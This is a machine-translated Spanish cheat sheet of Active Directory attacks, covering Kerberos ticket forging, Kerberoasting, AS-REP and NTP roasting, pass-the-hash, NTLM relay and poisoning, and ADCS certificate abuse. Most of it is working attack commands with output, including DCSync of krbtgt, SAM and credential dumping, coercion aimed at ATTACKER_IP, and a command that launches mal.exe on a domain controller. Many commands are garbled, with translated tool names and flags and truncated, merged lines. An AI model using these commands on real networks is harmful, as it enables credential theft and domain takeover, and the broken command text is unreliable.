```

Servicios interesantes a los que apuntar con un billete plateado :

Tipo de servicio	Servicio Plata Entradas	Ataque
WMI	ANFITRIÓN + RPCSS	wmic.exe /autoridad:"kerberos:DOMINIO\DC01" /nodo: llamada al proceso "DC01" crear "cmd /c mal.exe"

Potencia Shell remoto	CIFS+ HTTP + (¿mujer?)	Nuevo-PSSESSION -NAME PSC -ComputerName DC01; Ingrese-PSSession -Nombre PSC
WinRM	HTTP + hombre	Nuevo-PSSESSION -NAME PSC -ComputerName DC01; Ingrese-PSSession -Nombre PSC
Tareas programadas	ANFITRIÓN	schtasks /create /s dc01 /SC SEMANAL /RU "NT Autoridad\Sistema" /IN "Comprobación del estado del agente SCOM" /IR "C:/shell.ps1"
Archivo de Windows Compartir (CIFS)	CIFS	dir \\dc01\c$
Operaciones LDAP incluyendo Mimikatz Sincronización DC	LDAP	lsadump::dcsync /dc:dc01 /dominio:dominio.local /usuario:krbtgt
Control remoto de Windows Servidor Administración Herramientas	RPSS + LDAP+ CIFS	/

Mitigaciones:

- Establezca el atributo "La cuenta es confidencial y no se puede delegar" para evitar el movimiento lateral con el ticket generado.

Boletos Diamante Pass-the-Ticket

> Solicite un TGT legítimo de baja privacidad y vuelva a calcular solo el campo PAC que proporciona la clave de cifrado krbtgt

Requerir:

- krbtgt Hash NT
- clave AES krbtgt

```
ticketer.py -solicitud -dominio 'lab.local' -usuario 'usuario_dominio' -contraseña 'contraseña' -

Rubeus.exe diamante /dominio:DOMINIO /usuario:USUARIO /contraseña:CONTRASEÑA /dc:DOMINIO_CONTROLL
```

Boletos Pass-the-Ticket Zafiro

> Solicitar el PAC del usuario objetivo con intercambio S4U2self+U2U durante TGS-REQ(P) (PKINIT).

El objetivo es imitar el campo PAC lo más cerca posible de uno legítimo.

Requerir:

- Paquete PR#1411
- clave AES krbtgt

```
# el argumento de baduser será ignorado
ticketer.py -request -suplantar 'dominio_adm' -dominio 'lab.local' -usuario 'dominio_us
```

Kerberoasting

> "Un nombre principal de servicio (SPN) es un identificador único de una instancia de servicio. Los SPN se utilizan mediante autenticación Kerberos para asociar una instancia de servicio con una cuenta de inicio de sesión del servicio." - MSDN

Cualquier usuario de dominio válido puede solicitar un ticket Kerberos (ST) para cualquier servicio de dominio. Una vez el billete se recibe, se puede descifrar la contraseña sin conexión en el ticket para intentar romper el contraseña para cualquier usuario con el que se esté ejecutando el servicio.

- GetUserSPN de Impacket Suite

```
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.1

Impacket v0.9.17 - Copyright 2002-2018 Tecnologías de seguridad principales

Nombre principal del servicio Nombre                Miembro de
-----------------------  --------  --------------------------------------------------------

activo/CIFS:445          Administrador CN=Propietarios del creador de políticas de grupo,CN=Usuarios,DC

$krb5tgs$23$*Administrador$ACTIVE.HTB$activo/CIFS~445*$424338c0a3c3af43[...]84
```

- Módulo CrackMapExec

```
$ crackmapexec ldap 10.0.2.11 -u 'nombre de usuario' -p 'contraseña' --kdcHost 10.0.2.11 - dc01 LDAP dc01
                10.0.2.11       389                    [*] Windows 10.0 compilación 17763
LDAP            10.0.2.11       389                    $krb5tgs$23$*john.doe$lab.loca
```

- Rojo

```
# Estadísticas
Rubeus.exe kerberoast /estadísticas
```

Tipo de cifrado admitido	Contar		Contraseña último año establecido	Contar
RC4_HMAC_DEFAULT	1		2021	1

```
# Kerberoast (boleto RC4)
Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:ha

# Kerberoast (boleto AES)
# Las cuentas con AES habilitado en msDS-SupportedEncryptionTypes tendrán RC4 tick Rubeus.exe kerberoast /
tgtdeleg

# Kerberoast (boleto RC4)
# Se utiliza el truco tgtdeleg y las cuentas sin AES habilitado se enumeran en un kerberoast Rubeus.exe /rc4opsec
```

- PowerView

```
Solicitud-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
```

- bifrost en máquina macOS

```
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.
```

- dirigidoKerberoast

```
# para cada usuario sin SPN, intenta establecer uno (abuso de permiso de escritura o # imprime el hash "kerberoas
y elimina el SPN temporal establecido para esa operación
targetKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--requ
```

Luego descifre el ticket usando el modo hashcat correcto ($krb5tgs$23 = etype 23)

Modo	Descripción
13100	Kerberos 5 TGS-REP tipo 23 (RC4)
19600	Kerberos 5 TGS-REP tipo 17 (AES128-CTS-HMAC-SHA1-96)

19700	Kerberos 5 TGS-REP tipo 18 (AES256-CTS-HMAC-SHA1-96)

./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt ./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_h

Mitigaciones:

- Tener una contraseña muy larga para tus cuentas con SPN (>32 caracteres)
- Asegúrese de que ningún usuario tenga SPN

KRB_AS_REP Tostado

> Si un usuario de dominio no tiene habilitada la autenticación previa de Kerberos, se puede solicitar con éxito un AS-REP para el usuario y un componente de la estructura se puede descifrar sin conexión al estilo kerberoasting.

Requisitos:

- Cuentas con el atributo DONT_REQ_PRAUTH (PowerView > Get-DomainUser -PreauthNotRequired -Propiedades nombre distinguido -Detallado)
- Rojo

```
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hash [*] Acción: tostado AS-REP
[*] Usuario objetivo: TestOU3user [*]
Dominio objetivo: testlab.local [*] SamAccountName :
TestOU3user [*] Nombre distinguido :
CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC
[*] Usando el controlador de dominio: testlab.local (192.168.52.100)

[*] Compilación de AS-REQ (sin autorización previa) para: 'testlab.local\TestOU3user'
[*] Conexión a 192.168.52.100:88 [*] Enviado 169
bytes [*] Recibido 1437
bytes [+] ¡AS-REQ sin
autenticación previa exitosa!
[*] Hash AS-REP:

$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(recorte)...
```

- Obtener usuarios NPU de Impacket Suite

```
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
```

```
[*] Obteniendo TGT para svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02b

# extraer hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile use root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4
```

- Módulo CrackMapExec

```
$ crackmapexec ldap 10.0.2.11 -u 'nombre de usuario' -p 'contraseña' --kdcHost 10.0.2.11 - dc01
LDAP                10.0.2.11                389       $krb5asrep$23$john.doe@LAB.LOC
```

Usando hashcat o john para descifrar el boleto.

```
# descifrar mensajes AS_REP con hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwo root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rock

# descifrar mensajes AS_REP con john
C:\Rubeus> john --format=krb5asrep --wordlist=contraseñas_kerb.txt hashes.asreproast
```

Mitigaciones:

- Todas las cuentas deben tener habilitada la "Autenticación previa de Kerberos" (habilitada de forma predeterminada).

CVE-2022-33679

> CVE-2022-33679 realiza un ataque de degradación de cifrado al obligar al KDC a utilizar el algoritmo RC4-MD4 y luego fuerza bruta la clave de sesión del AS-REP usando un conocido Ataque de texto sin formato, similar a AS-REP Roasting, funciona contra cuentas que tienen la autenticación previa deshabilitada y el ataque no está autenticado, lo que significa que no necesitamos la autenticación de un cliente. contraseña..

Investigación del Proyecto Cero: https://tinyurl.com/24hfcbgr

Requisitos:

- Cuentas con el atributo DONT_REQ_PRAUTH (PowerView > Get-DomainUser -PreauthNotRequired -Propiedades nombre distinguido -Detallado)
- usando CVE-2022-33679.py

```
usuario@nombredehost:~$ python CVE-2022-33679.py DOMINIO.LOCAL/Usuario DC01.DOMINIO.LOCAL
```

```
usuario@nombre de host:~$ export KRB5CCNAME=/home/project/User.ccache
usuario@nombre de host:~$ crackmapexec smb DC01.DOMAIN.LOCAL -k --shares
```

Mitigaciones:

- Todas las cuentas deben tener habilitada la "Autenticación previa de Kerberos" (habilitada de forma predeterminada).
- Deshabilite el cifrado RC4 si es posible.

Tostado por tiempo

> Timeroasting aprovecha el mecanismo de autenticación NTP de Windows, lo que permite a atacantes no autenticados solicitar de manera efectiva un hash de contraseña de cualquier cuenta de computadora enviando una solicitud NTP con el RID de esa cuenta.

- SecuraBV/Timeroast - Guiones Timeroasting de Tom Tervoort

```
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt hashcat -m 31300
ntp-hashes.txt
```

Pasar el hash

Los tipos de hashes que puede utilizar con Pass-The-Hash son hashes NT o NTLM. Desde Windows Vista, los atacantes no han podido pasar el hash a cuentas de administrador locales que no fueran el RID 500 integrado.

- metasploit

```
use exploit/windows/smb/psexec set
RHOST 10.2.0.3 set
SMBUser jarrieta set
SMBPass nastyCutt3r # NOTA1:
La contraseña se puede reemplazar por un hash para ejecutar un att `pass the hash` # NOTA2: Requiere el
hash NT completo, puede Es necesario agregar el LM "en blanco" (aad3b435 establece PAYLOAD windows/
meterpreter/bind_tcp
correr
caparazón
```

- CrackMapExec

```
cme smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5
```

- suite de impacto

cadenas proxy python ./psexec.py jarrieta@10.2.0.2 -hashes:489a04c09a5debbc9b9753

- Windows RDP y mimikatz

  sekurlsa::pth /usuario:Administrador /dominio:contoso.local /ntlm:b73fdfe10e87b4ca5c sekurlsa::pth /usuario:<nombre de usuario> /dominio:<nombre de dominio> /ntlm:<el hash ntlm de los usuarios

Puede extraer la base de datos SAM local para encontrar el hash del administrador local:

```
C:\> reg.exe guardar hklm\sam c:\temp\sam.save C:\>
reg.exe guardar hklm\security c:\temp\security.save C:\> reg.exe guardar
hklm\system c :\temp\system.save $ secretsdump.py -sam sam.save
-security seguridad.save -system sistema.save LOCAL
```

OverPass-the-Hash (pasar la clave)

En esta técnica, en lugar de pasar el hash directamente, utilizamos el hash NT de una cuenta para solicitar un ticket Kerberost (TGT) válido.

Usando impacto

```
root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropno root@kali:~$ export
KRB5CCNAME="/root/impacket-examples/velociraptor.ccache" root@kali:~$ python3 psexec .py
"jurassic.park/velociraptor@labwws02.jurassic.park"

# también con la Clave AES si la tienes root@kali:~$ ./
getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.co

root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w root@kali:~$ kinit -t ~/
mykers tgwynn@LAB.ROPNOP.COM raíz@kali:~$ klista
```

Usando Rubeus

```
# Solicite un TGT como usuario objetivo y páselo a la sesión actual # NOTA: asegúrese de borrar
los tickets en la sesión actual (con 'klist purge') a e  \Rubeus.exe asktgt /user:Administrator /rc4:[ NTLMHASH] /ptt

# Variante más sigilosa, pero requiere el hash AES256  \Rubeus.exe
Asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt
```

```
# Pasar el ticket a un proceso oculto de sacrificio, lo que le permite, por ejemplo, robar el t \Rubeus.exe asktgt /
user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\S
```

Capturar y descifrar hashes Net-NTLMv1/NTLMv1

> Los hash Net-NTLM (NTLMv1) se utilizan para la autenticación de red (se derivan de un algoritmo de desafío/respuesta y se basan en el hash NT del usuario).

:information_source: : forzar una devolución de llamada utilizando PetitPotam o SpoolSample en una máquina afectada y degradar la autenticación a autenticación de desafío/respuesta NetNTLMv1.
Utiliza el método de cifrado DES obsoleto para proteger los hashes NT/LM.

Requisitos:

- LmCompatibilityLevel = 0x1: Enviar LM y NTLM (consulta de registro) HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel)

Explotación:

- Captura usando Responder: edite el archivo /etc/responder/Responder.conf para incluir el desafío mágico 1122334455667788

  ```
  HTTPS = activado
  DNS = activado
  LDAP = activado
  ...
  ; Reto personalizado.
  ; Utilice "Aleatorio" para generar un desafío aleatorio para cada solicitud (predeterminado)
  Desafío = 1122334455667788
  ```

- Respondedor de incendios: respondedor -I eth0 -- , si se establece --disable-ess , sesión extendida lm la seguridad se desactivará para la autenticación NTLMv1
- Forzar una devolución de llamada:

  ```
  PetitPotam.exe Responder-IP DC-IP # Parchado alrededor de agosto de 2021
  PetitPotam.py -u Nombre de usuario -p Contraseña -d Dominio -dc-ip DC-IP Responder-IP DC-IP
  ```

- algunos hashes NTLMv1 , debes formatearlos para enviarlos en crack.sh si tienes

  ```
  nombre de usuario::nombre de host:respuesta:respuesta:desafío -> NTHASH:respuesta
  NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
  ```

- O descifrarlos con Hashcat / John The Ripper

```
juan --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt
```

- Ahora puede DCSync usando Pass-The-Hash con la cuenta de la máquina DC

:advertencia: NTLMv1 con SSP (Proveedor de soporte de seguridad) cambia el desafío del servidor y no es bastante ideal para el ataque, pero se puede utilizar.

Mitigaciones:

- Establezca el nivel de autenticación de Lan Manager en Enviar respuestas NTLMv2 únicamente. Rechazar LM y NTLM

Capturar y descifrar hashes Net-NTLMv2/NTLMv2

Si algún usuario de la red intenta acceder a una máquina y escribe mal la IP o el nombre, Responder responderá y solicitará el hash NTLMv2 para acceder al recurso. El respondedor envenenará LLMNR , Solicitudes MDNS y NETBIOS en la red.

```
# https://tinyurl.com/zue3sty
$ sudo ./Responder.py -I eth0 -wfrd -P -v

# https://tinyurl.com/28plsnyw
PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -D

# https://tinyurl.com/2yt24nd2
PS > Invocar-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDN
```

Rompe los hashes con Hashcat / John The Ripper

```
juan --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
```

Ataques y retransmisiones de hombre en el medio

NTLMv1 y NTLMv2 se pueden retransmitir para conectarse a otra máquina.

Picadillo	Hashcat	Método de ataque
LM	3000	crackear/pasar el hash
NTLM/NTHash	1000	crackear/pasar el hash

NTLMv1/No NTLMv1	5500	ataque de crack/retransmisión
NTLMv2/No NTLMv2 5600		ataque de crack/retransmisión

Rompe el hachís con hashcat .

```
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```

MS08-068 Reflexión NTLM

Vulnerabilidad de reflexión NTLM en el protocolo SMBSólo apunta a Windows 2000 para Windows Servidor 2008.

> Esta vulnerabilidad permite a un atacante redirigir una conexión SMB entrante a la máquina de donde proviene y luego acceder a la máquina víctima utilizando las propias credenciales de la víctima.

- https://tinyurl.com/yyhlsjdm/tree/master/MS08-068

```
msf > usar exploit/windows/smb/smb_relay msf
exploit(smb_relay) > mostrar objetivos
```

No se requiere firma LDAP y enlace de canal LDAP deshabilitado

Durante la evaluación de seguridad, a veces no tenemos ninguna cuenta para realizar la auditoría.
Por lo tanto, podemos inyectarnos en Active Directory realizando un ataque de retransmisión NTLM.
Para esta técnica se necesitan tres requisitos:

- No se requiere firma LDAP (de forma predeterminada está configurada en No requerido)
- El enlace del canal LDAP está deshabilitado. (por defecto deshabilitado)
- ms-DS-MachineAccountQuota debe ser al menos 1 para la cuenta retransmitida (10 de forma predeterminada)

Entonces podemos usar una herramienta para envenenar LLMNR. , Solicitudes MDNS y NETBIOS en la red como Responder y uso ntlmrelayx para agregar nuestra computadora.

```
# En la primera terminal
sudo ./Responder.py -I eth0 -wfrd -P -v

# En la segunda terminal
sudo python ./ntlmrelayx.py -t ldaps://IP_DC --add-computer
```

Aquí se requiere transmitir a LDAP a través de TLS porque no se permite la creación de cuentas a través de un conexión no cifrada.

Firma SMB deshabilitada e IPv4

Si una máquina tiene firma SMB : secuencia de , es posible utilizar Responder con Multirelay.py comandos deshabilitada para realizar una retransmisión de hashes NTLMv2 y obtener acceso de shell en la máquina. También llamad Intoxicación por LLMNR/NBNS

1. Abra el archivo Responder.conf y establezca el valor de SMB y HTTP en Desactivado .

```
[Núcleo de respuesta]
; Servidores para empezar
...
SMB = Desactivado # Apaga esto
HTTP = Desactivado # Desactiva esto
```

2. Ejecute python RunFinger.py -i IP_Range para detectar la máquina con SMB firma : deshabilitado .
3. Ejecute python Responder.py -I <tarjeta_interfaz>
4. Utilice una herramienta de retransmisión como ntlmrelayx o MultiRelay
   - impacket-ntlmrelayx -tf target.txt para volcar la base de datos SAM de los objetivos en la lista.
   - python MultiRelay.py -t <IP_máquina_destino> -u TODOS
5. ntlmrelayx también puede actuar como proxy SOCK con cada sesión comprometida.

```
$ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
[*] Servidores iniciados, esperando conexiones
Escriba ayuda para ver la lista de comandos
ntlmrelayx> calcetines
Objetivo del protocolo Nombre de usuario Puerto
---------- ---------- ----

MSSQL 192.168.48.230 VULNERABLE/ADMINISTRADOR 1433
PYME 192.168.48.230 CONTOSO/NORMALUSER1 445
MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433

# Es posible que necesites seleccionar un objetivo con "-t"
# smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// y impacket-ntlmrelayx -t mssql:// 10.10.10.10
-calcetines -smb2support
impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support

# el proxy de calcetines se puede usar con tus herramientas Impacket o CrackMapExec
$ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1
```

```
$ proxychains impacket-mssqlclient DOMINIO/USUARIO@10.10.10.10 -windows-auth $ proxychains
crackmapexec mssql 10.10.10.10 -u usuario -p                                    -d DOMINIO -q "SELECCIONAR
```

Mitigaciones:

- Deshabilitar LLMNR a través de la política de grupo

  Abra gpedit.msc y navegue hasta Configuración del equipo > Plantilla administrativa

- Deshabilitar NBT-NS

  Esto se puede lograr navegando a través de la GUI hasta Tarjeta de red > Propiedades

Firma SMB deshabilitada e IPv6

Desde MS16-077, la ubicación del archivo WPAD ya no se solicita mediante protocolos de transmisión, sino únicamente mediante DNS.

```
crackmapexec smb $hosts --gen-relay-list relé.txt

# Toma de control de DNS a través de IPv6, mitm6 solicitará una dirección IPv6 a través de
DHCPv6 # -d es el nombre de dominio por el que filtramos nuestra solicitud: el dominio atacado # -i es la
interfaz en la que mitm6 escucha eventos mitm6 -i eth0 -d $dominio


# falsificar WPAD y transmitir credenciales NTLM impacket-
ntlmrelayx -6 -wh $attacker_ip -of loot -tf Relay.txt impacket-ntlmrelayx -6 -wh
$attacker_ip -l /tmp -socks -debug

# -ip es la interfaz en la que desea que se ejecute la retransmisión #
-wh es para el host WPAD, especificando su archivo wpad para servir # -t es el
destino al que desea retransmitir. impacket-ntlmrelayx -ip
10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
```

Suelta el micrófono

> La vulnerabilidad CVE-2019-1040 permite modificar los paquetes de autenticación NTLM sin invalidar la autenticación y, por lo tanto, permite a un atacante eliminar las banderas que impedirían la retransmisión de SMB a LDAP.

Verifique la vulnerabilidad con cve-2019-1040-scanner

```
python2 scanMIC.py 'DOMINIO/NOMBRE DE USUARIO: CONTRASEÑA @ OBJETIVO'
```

```
[*] Escáner CVE-2019-1040 de @_dirkjan / Fox-IT - Basado en impacket de SecureAuth
[*] Target TARGET no es vulnerable a CVE-2019-1040 (la autenticación fue rechazada)
```

- Usando cualquier cuenta AD, conéctese a través de SMB a un servidor Exchange víctima y active el error SpoolService. El servidor atacante se conectará con usted a través de SMB, que se puede transmitir con una versión modificada de ntlmrelayx a LDAP. Utilizando la autenticación LDAP retransmitida, otorgue privilegios de DCSync a la cuenta del atacante. La cuenta del atacante ahora puede usar DCSync para volcar todos los hash de contraseña en AD

```
TERM1> python Printerbug.py testsegment.local/username@s2012exc.testsegment.loca TERM2> ntlmrelayx.py
--remove-mic --escalate-user ntu -t ldap://s2016dc.testseg TERM1> secretsdump.py testsegment/ntu
@s2016dc.segmentodeprueba.local -just-dc
```

- Usando cualquier cuenta AD, conéctese a través de SMB al servidor víctima y active el error SpoolService. El servidor atacante se conectará con usted a través de SMB, que se puede transmitir con una versión modificada de ntlmrelayx a LDAP. Utilizando la autenticación LDAP retransmitida, otorgue privilegios de delegación restringida basada en recursos para el servidor víctima a una cuenta de computadora bajo el control del atacante. El atacante ahora puede autenticarse como cualquier usuario en el servidor víctima.

```
# crear una nueva cuenta de máquina
TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-a TERM2> python Printerbug.py
Relaytest.local/username@segundo-dc- servidor 10.0.2.6 TERM1> getST.py -spn host/segundo-servidor-
dc.local 'relaytest.local/MACHINE$:PASS

# conectarse usando la exportación
del ticket KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
secretsdump.py -k -no-pass second-dc-server.local -just-dc
```

Patata fantasma - CVE-2019-1384

Requisitos:

- El usuario debe ser miembro del grupo de administradores local.
- El usuario debe ser miembro del grupo Operadores de respaldo
- El token debe estar elevado.

Usando una versión modificada de ntlmrelayx: https://tinyurl.com/28udqr6s

```
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```

Relé RemotePotato0 DCOM DCE RPC

> Abusa del servicio de activación DCOM y activa una autenticación NTLM del usuario actualmente conectado en la máquina de destino.

Requisitos:

- un shell en la sesión 0 (por ejemplo, shell WinRm o shell SSH)
- un usuario privilegiado ha iniciado sesión en la sesión 1 (por ejemplo, un usuario administrador de dominio)

```
# https://tinyurl.com/28nzf7x3 Terminal>
sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can Terminal> sudo ntlmrelayx.py -t
ldap://192.168.83.135 -- no-wcf-server --escalate-us Sesión0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
Terminal> psexec.py 'LAB/winrm_user_1:Contraseña123!@192.168.83.135'
```

Envenenamiento de DNS: delegación de retransmisión con mitm6

Requisitos:

- IPv6 habilitado (Windows prefiere IPV6 sobre IPv4)
- LDAP sobre TLS (LDAPS)

> ntlmrelayx transmite las credenciales capturadas a LDAP en el controlador de dominio, las usa para crear una nueva cuenta de máquina, imprime el nombre y la contraseña de la cuenta y modifica los derechos de delegación de la misma.

```
git clone https://tinyurl.com/2c78r5xf cd /opt/tools/
mitm6 pip install.
```

```
mitm6 -hw ws02 -d lab.local --ignore-nofqnd # -d: el nombre
de dominio por el que filtramos nuestra solicitud (el dominio atacado) # -i: la interfaz en la que mitm6
escucha eventos
# -hw: lista blanca de hosts
```

```
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh atacante-wpad ntlmrelayx.py -ip 10.10.10.10
-t ldaps://dc01.lab.local -wh atacante-wpad -- add-com # -ip: la interfaz en la que desea que se ejecute la
retransmisión # -wh: host WPAD, especificando su archivo wpad
para servir # -t: el destino al que desea retransmitir
```

```
# ahora otorgamos derechos de delegación y luego hacemos un RBCD
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attac getST.py -spn cifs/target.lab.
local lab.local/GENERADO\$ -impersonate Administrato exportar KRB5CCNAME=administrator.ccache
```

```
secretsdump.py -k -no-pass target.lab.local
```

Retransmisión con WebDav Trick

> Ejemplo de explotación en el que puede obligar a las cuentas de máquina a autenticarse en un host y combinarlo con la delegación restringida basada en recursos para obtener acceso elevado. Él permite a los atacantes obtener autenticaciones realizadas a través de HTTP en lugar de SMB

Requisito:

- Servicio cliente web

Explotación:

- Deshabilite HTTP en Responder: sudo vi /usr/share/responder/Responder.conf
- Genere un nombre de máquina Windows: sudo respondedor -I eth0 , por ejemplo: WIN-UBNW4FI3AP0
- Prepárese para RBCD contra el DC: python3 ntlmrelayx.py -t ldaps://dc --delegate-acceso -smb2support
- Descubra los servicios WebDAV

```
webclientservicescanner 'dominio.local'/'usuario':'contraseña'@'máquina' crackmapexec smb
'OBJETIVOS' -d 'dominio' -u 'usuario' -p 'contraseña' -M webdav GetWebDAVStatus.exe 'máquina'
```

- Active la autenticación para transmitir a nuestro nltmrelayx: PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.0.0.4 , el host de escucha debe especificarse con el FQDN o el nombre completo de netbios como logger.domain.local@80/test.txt . Especificar la IP da como resultado una autenticación anónima en lugar de System.

```
# PrinterBug
dementor.py -d "DOMINIO" -u "USUARIO" -p "CONTRASEÑA" "ATTACKER_NETBIOS_NAME@PORT/rand
SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"

# PetitPotam
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
Petitpotam.py -d "DOMINIO" -u "USUARIO" -p "CONTRASEÑA" "ATTACKER_NETBIOS_NAME@PORT/ra PetitPotam.exe
"ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
```

- Utilice la cuenta creada para solicitar un ticket de servicio:

```
.\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)I<i$;UzD7W'
.\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD ls \\PC1.purple.lab\c$
# IP de PC1: 10.0.0.4
```

Conexiones RDP de intermediario con pyrdp-mitm

- https://tinyurl.com/2264jn5f
- https://tinyurl.com/24ta5lra
- Uso

```
pyrdp-mitm.py <IP> pyrdp-
mitp.py <IP>:<PUERTO> # con puerto personalizado pyrdp-mitm.py
<IP> -k clave_privada.pem -c certificado.pem # con clave y certificado personalizados
```

- Explotación
  - Si la autenticación a nivel de red (NLA) está habilitada, obtendrá la información del cliente. Desafío NetNTLMv2
  - Si NLA está deshabilitado, obtendrá la contraseña en texto plano
  - Otras funciones están disponibles, como la grabación de pulsaciones de teclas.
- Alternativas
  - S3: https://tinyurl.com/26sfgw9x realiza una suplantación de ARP antes de iniciar el oyente RDP

Servicios de certificados de Active Directory

- Buscar servidor ADCS
  - crackmapexec ldap dominio.lab -u nombre de usuario -p contraseña -M adcs
  - ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<usuario>,OU=Usuarios,DC=dominio,DC=local' -w '<contraseña>' -b "CN=Inscripción Servicios,CN=Clave pública Servicios,CN=Servicios,CN=CONFIGURACIÓN,DC=dominio,DC=local" dNSHostName
- Enumere las CA de AD Enterprise con certutil: certutil.exe -config - -ping , volcado certutil -

ESC1: Plantillas de certificado mal configuradas

> Los usuarios del dominio pueden inscribirse en la plantilla VulnTemplate, que se puede utilizar para la autenticación del cliente y tiene ENROLLEE_SUPPLIES_SUBJECT configurado. Esto permite que cualquiera pueda inscribirse en esta plantilla y especificar un nombre alternativo del sujeto arbitrario (es decir, como DA). Permite vincular identidades adicionales a un certificado más allá del Asunto.

Requisitos

- Plantilla que permite la autenticación AD
- Bandera ENROLLEE_SUPPLIES_SUBJECT
- [PKINIT] Autenticación de cliente, inicio de sesión con tarjeta inteligente, cualquier propósito o sin EKU (Uso de clave ampliado/mejorado)

Explotación

- Utilice Certify.exe para ver si hay plantillas vulnerables

```
Certify.exe buscar /vulnerable
Certify.exe buscar /vulnerable /currentuser # o

PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-en # o

certipy 'dominio.local'/'usuario':'contraseña'@'controlador de dominio' buscar -bloodhound
```

- Utilice Certify, Certi o Certipy para solicitar un Certificado y agregar un nombre alternativo (usuario a suplantar)

```
# solicitar certificados para la cuenta de la máquina ejecutando Certify con "/ Certify.exe request /
ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /alt certi.py req 'contoso.local/
Anakin@dc01 .contoso.local' contoso-DC01-CA -k -n --a certipy req 'corp.local/john:Passw0rd!
@ca.corp.local' -ca 'corp-CA' -template
```

- Utilice OpenSSL y convierta el certificado, no introduzca contraseña

```
openssl pkcs12 -in cert.pem -keyex -CSP "Providencia criptográfica mejorada de Microsoft
```

- Mueva el cert.pfx al sistema de archivos de la máquina de destino y solicite un TGT para el usuario altname usando Rubeus

```
Ruby.exe askgt /usuario:domadmin /certificado:C:\Temp\cert.pfx
```

ADVERTENCIA: ¡Estos certificados seguirán siendo utilizables incluso si el usuario o la computadora restablecen su contraseña!

NOTA: Busque EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, indicadores ManageCA y retransmisión NTLM a puntos finales HTTP de AD CS.

ESC2: plantillas de certificados mal configuradas

Requisitos

- Permite a los solicitantes especificar un nombre alternativo del sujeto (SAN) en el CSR y también permite EKU para cualquier propósito (2.5.29.37.0)

Explotación

- Buscar plantilla

  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-es

- Solicite un certificado especificando /altname como administrador de dominio como en ESC1.

ESC3: Plantillas de agentes de inscripción mal configuradas

> ESC3 es cuando una plantilla de certificado especifica el Agente de solicitud de certificado EKU (Agente de inscripción). Este EKU se puede utilizar para solicitar certificados en nombre de otros usuarios.

- Solicite un certificado basado en la plantilla de certificado vulnerable ESC3.

  $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template [*] Certificado guardado y clave privada en 'john.pfx'

- Utilice el certificado del Agente de solicitud de certificados (-pfx) para solicitar un certificado en nombre de otro otro usuario

  $ solicitud de certificación 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template

ESC4 - Vulnerabilidades de control de acceso
